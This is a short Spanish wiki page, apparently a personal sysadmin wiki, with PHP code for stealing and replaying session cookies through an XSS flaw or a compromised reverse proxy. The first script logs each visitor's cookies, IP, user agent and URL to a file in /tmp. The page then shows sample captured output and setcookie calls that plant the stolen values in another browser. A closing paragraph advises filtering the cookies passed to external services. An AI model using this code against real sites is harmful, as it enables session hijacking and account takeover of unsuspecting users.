User Tools

Site Tools


codigo_php_simple_para_robar_fijar_cookies

This is an old revision of the document!


Código PHP simple para robar fijas cookies

Ejemplo de código PHP que puede usarse si se obtiene acceso a un upstream (reverse proxy) o vulnerabilidad xss en un entorno web y se quiere probar un robo de sesión mediante cookies.

El siguiente código crea un fichero temporal en /tmp o bien /tmp/systemd-private-XXX-php-fpm.service-z1xh/tmp/ donde se listan todas las cookies del usuario.

<?php
$date = date("Y/m/d H:i:s");
$file = fopen("/tmp/cookies.txt", "a");
fwrite($file, "\n------------------\n[+] Date:{$date}\n[+] URL: {$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}\n[+] IP: {$_SERVER['REMOTE_ADDR']}\n[+] UserAgent: {$_SERVER['HTTP_USER_AGENT']}\n[+] Referer: {$_SERVER['HTTP_REFERER']}\n[+] Cookies:");
fwrite($file, print_r($_COOKIE, TRUE));
fclose($file);
?>

Si estas cookies son configuradas en otro navegador, dependiendo de como haya sido desarrollada la apliacción web, se podría robar la sesión. Por supuesto no es necesario usar php para crear estas nuevas cookies, siendo factible usar cualquier otro metodo como un editor de cookies para el navegador.

Ejemplo del fichero salida /tmp/cookies.txt:

------------------
[+] Date:2021/02/09 00:05:23
[+] URL: busindre.com/XXX/test.php
[+] IP: 82.207.201.199
[+] UserAgent: Mozilla/4.0 (X11; Linux x86_64) AppleWebKit/437.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/517.36
[+] Referer: 
[+] Cookies:Array
(
    [DokuWiki] => apnr19egsi5u495rhttrnp2h
    [DW1fa065a06cb74b536c124cfbe56ac63] => BnVzaW5kcmU=|0|l9f+QopU7tYpC/0Ju+kwPVTBeGgOS1+3FfdTwiV2Sv+ruAbLDyPkmTeOceOv2m
)

Establecer en PHP las cookies que previamente han sido obtenidas.

<?php
setcookie("DokuWiki", "apnr19egsi5u495rhttrnp2h",time()+3600,"/","busindre.com");
setcookie("DW1fa065a06cb74b536c124cfbe56ac63", "BnVzaW5kcmU=|0|l9f+QopU7tYpC/0Ju+kwPVTBeGgOS1+3FfdTwiV2Sv+ruAbLDyPkmTeOceOv2m",time()+3600,"/","busindre.com");
?>

Cuando se trata de tener acceso a un reverse proxy / upstream, conocer como las cookies pueden leerse y configurarse entre dominios y subdominios es muy importante. Por eso es importante, a la hora de configurar servicio externos desde un dominio propio, filtrar las cookies que ese servicio externo recibe. De no ser así, si el servicio externo es hackeado, los atacantes tendrían acceso a las cookies de nuestro dominio y por lo tanto podrían robar información o sesiones. En este servicio web es posible probar diferentes escenarios para entender el acceso a cookies entre subdominios: setcookie.net

codigo_php_simple_para_robar_fijar_cookies.1707435703.txt.gz · Last modified: 2024/02/09 00:41 by busindre